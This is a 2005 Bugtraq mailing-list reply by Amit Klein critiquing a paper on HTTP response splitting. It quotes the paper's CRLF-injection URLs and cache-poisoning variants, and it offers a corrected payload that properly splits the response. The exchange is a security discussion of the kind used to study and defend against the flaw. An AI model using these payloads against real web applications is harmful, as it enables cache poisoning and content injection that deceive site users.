Bugtraq mailing list archives

Re: HTTP RESPONSE SPLITTING by Diabolic Crab

From: "Amit Klein (AKsecurity)" <aksecurity () hotpop com>
Date: Sun, 17 Apr 2005 15:44:52 +0200

Hi dcrab

See my comments below.

Thanks,
-Amit

On 13 Apr 2005 at 13:45, dcrab wrote:



HTTP RESPONSE SPLITTING
     by Diabolic Crab (dcrab () hackerscenter com)
     http://www.digitalparadox.org


It would make sense to mention that this is based on your reference
#4 ("Divide and Conquer - HTTP Response Splitting, Web Cache
Poisoning and Related Topics", by yours truly...).

[...]

This paper is going to focus on the usage of HTTP response

splitting vulnerabilities in the case of web applications. This type
of vulnerabiliy being fairly new, I have found it to be present in
many large corporate websites, some of which might surprise you, most
of them still exist.

Right on!

Thus injecting something like,

http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E


[...]

Server to User 302 Found Response

HTTP/1.1 302 Found                                                                   [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location:
Content-Type: text/html
HTTP/1.1 200 OK                                                                         [Second New response created 
by attacker begins]
Content-Type: text/html

<html><font color=red>hey</font></html>                                 [Arbitary input by user is shown as the 
redirected page]
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

0

As we can see in the exploitation process above, the server runs the normal 302 response, the arbitary input we gave 
in the location header causes it to start a new 200 OK response which shows our inputted data to the user as a normal 
web server response, Thus we have carried out a Cross Site Scripting exploitation of the Html Splitting vulnerability.


I'm afraid I have to disagree here. The above is still an almost
valid *single* HTTP response. It has a URL line, headers (including 2
not so valid headers) followed by HTML body. There is no length
specification in the header, and thus many agents will assume that
the body extends to the end of information (connection is to be
closed by the server) - that's a standard practice to overcome CGI
scripts that don't send Content-Length header.
Anyway, even if some HTTP agents would interpret the first double
CRLF as termination for a response (i.e. assuming Content-Length=0),
the body is still not a valid HTTP/1.x response.

If you want to really split the HTTP response stream into two
responses, you will need to properly terminate the first response,
and then create a whole new response, e.g. by injecting:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Length:%20NNN%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>...</html>

And regarding XSS, the original injection does not end up in an XSS
condition with IE - see your own reference #1 (CSS before redirect
by Thomas Schreiber (BugTraq posting)).


Cache poisoning:
To make the cache server, cache our request we must add some new headers. The Last-Modified header in the HTTP 
response will cause most cache servers to cache the web site, thus allowing our poisoned website to appear in the 
cache, as long as the Last-modified header is sent with a date ahead of the current date. Sending of the 
Cache-Control: no-cache and/or Pragma: no-cache requests will cause non cached websites to be added to the cache.

Some example versions of the cache poisoning exploits for the above vulnerable example are,

Last-Modified example:

http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
 color=red>hey</font></html> HTTP/1.1

Cache-Control example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
 color=red>hey</font></html> HTTP/1.1

Pragma example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
 color=red>hey</font></html> HTTP/1.1


Again, you need to first terminate the first response, e.g. by
injecting Content-Length: 0. And including raw white spaces (between
"font" and "color" is probably not a good idea too.

[...]



Refferences:
http://www.securityfocus.com/archive/107/336744
http://www.securityfocus.com/archive/1/271515
http://www.securityfocus.com/archive/1/290872
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Current thread:

HTTP RESPONSE SPLITTING by Diabolic Crab dcrab (Apr 13)
- Re: HTTP RESPONSE SPLITTING by Diabolic Crab Amit Klein (AKsecurity) (Apr 18)